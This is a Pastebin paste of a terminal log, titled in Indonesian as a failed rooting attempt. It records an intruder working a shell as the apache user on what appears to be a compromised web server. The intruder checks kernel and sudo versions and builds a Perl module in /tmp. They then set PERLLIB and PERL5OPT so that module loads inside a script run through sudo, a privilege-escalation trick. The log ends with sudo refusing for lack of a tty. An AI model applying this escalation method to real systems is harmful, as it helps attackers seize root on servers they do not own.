Sedot_CW

Gagal rooting

Aug 16th, 2020
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. root@root:~# nc xxx.xxx.xxx.xxx
  2. sh: no job control in this shell
  3. sh-3.2$ uname -a
  4. Linux 2.6.9-023stab053.2-enterprise #1 SMP Mon Oct 25 18:37:43 MSD 2010 i686 i686 i386 GNU/Linux
  5. sh-3.2$ sudo -V
  6. Sudo version 1.6.8p12
  7. sh-3.2$ ./uploads/glib
  8. 2.5
  9. sh-3.2$ cd /tmp
  10. sh-3.2$ mkdir modules
  11. sh-3.2$ mkdir FTP
  12. sh-3.2$ cd modules
  13. sh-3.2$ ls
  14. sh-3.2$ ls -al
  15. total 12
  16. drwxr-xr-x 2 apache apache 4096 Aug 10 09:34 .
  17. drwxrwxrwt 5 root root 8192 Aug 10 09:34 ..
  18. sh-3.2$ mkdir FTP
  19. sh-3.2$ ls -al
  20. total 16
  21. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
  22. drwxrwxrwt 5 root root 8192 Aug 10 09:34 ..
  23. drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 FTP
  24. cdsh-3.2$ FTP
  25. sh-3.2$ h2xs -AXc -n FTP
  26. Defaulting to backwards compatibility with perl 5.8.8
  27. If you intend this module to be compatible with earlier perl versions, please
  28. specify a minimum perl version with the -b option.
  29. Writing FTP/lib/FTP.pm
  30. Writing FTP/Makefile.PL
  31. Writing FTP/README
  32. Writing FTP/t/FTP.t
  33. Writing FTP/Changes
  34. Writing FTP/MANIFEST
  35. sh-3.2$ ls -al
  36. total 12
  37. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
  38. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
  39. drwxr-xr-x 4 apache apache 4096 Aug 10 09:35 FTP
  40. sh-3.2$ cd FTP
  41. sh-3.2$ ls -al
  42. total 32
  43. drwxr-xr-x 4 apache apache 4096 Aug 10 09:35 .
  44. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
  45. -rw-r--r-- 1 apache apache 143 Aug 10 09:35 Changes
  46. -rw-r--r-- 1 apache apache 55 Aug 10 09:35 MANIFEST
  47. -rw-r--r-- 1 apache apache 519 Aug 10 09:35 Makefile.PL
  48. -rw-r--r-- 1 apache apache 1154 Aug 10 09:35 README
  49. drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 lib
  50. drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 t
  51. sh-3.2$ perl Makefile.PL
  52. Checking if your kit is complete...
  53. Looks good
  54. Writing Makefile for FTP
  55. sh-3.2$ make
  56. cp lib/FTP.pm blib/lib/FTP.pm
  57. Manifying blib/man3/FTP.3pm
  58. sh-3.2$ make test
  59. PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t
  60. t/FTP....ok
  61. All tests successful.
  62. Files=1, Tests=1, 0 wallclock secs ( 0.02 cusr + 0.00 csys = 0.02 CPU)
  63. sh-3.2$ cd blib/lib
  64. sh-3.2$ ls -al
  65. total 16
  66. drwxr-xr-x 3 apache apache 4096 Aug 10 09:37 .
  67. drwxr-xr-x 8 apache apache 4096 Aug 10 09:37 ..
  68. -rw-r--r-- 1 apache apache 0 Aug 10 09:37 .exists
  69. -r--r--r-- 1 apache apache 1702 Aug 10 09:35 FTP.pm
  70. drwxr-xr-x 3 apache apache 4096 Aug 10 09:37 auto
  71. sh-3.2$ cd ../../../
  72. ls -al
  73. sh-3.2$ total 12
  74. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
  75. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
  76. drwxr-xr-x 5 apache apache 4096 Aug 10 09:37 FTP
  77. sh-3.2$ cd /tmp/modules
  78. sh-3.2$ ls -al
  79. total 16
  80. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
  81. drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
  82. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
  83. sh-3.2$ ls -al
  84. total 20
  85. drwxr-xr-x 3 apache apache 4096 Aug 10 09:44 .
  86. drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
  87. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
  88. -rw-r--r-- 1 apache apache 365 Aug 10 09:44 code.pl
  89. sh-3.2$ cat code.pl
  90. #!/usr/bin/perl
  91.  
  92. BEGIN { $| = 1; print "1..1\n"; }
  93. END {print "not ok 1\n" unless $loaded;}
  94. use FTP;
  95. $loaded = 1;
  96. print "ok 1\n";
  97.  
  98. my $obj = new FTP;
  99. $obj->verbose(1);
  100. my $result = $obj->hoot;
  101. print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");
  102.  
  103. $obj->verbose(0);
  104. my $result = $obj->hoot;
  105. print ($result eq "" ? "ok 3\n" : "not ok 3\n");
  106. sh-3.2$ export PERLLIB="/tmp/modules/FTP/FTP/blib/lib/"
  107. sh-3.2$ export PERL5OPT="-MFTP"
  108. sh-3.2$ chmod +x code.pl
  109. sh-3.2$ ls -al
  110. total 20
  111. drwxr-xr-x 3 apache apache 4096 Aug 10 09:44 .
  112. drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
  113. drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
  114. -rwxr-xr-x 1 apache apache 365 Aug 10 09:44 code.pl
  115. sh-3.2$ sudo ./code.pl
  116. sudo: sorry, you must have a tty to run sudo
Add Comment
Please, Sign In to add comment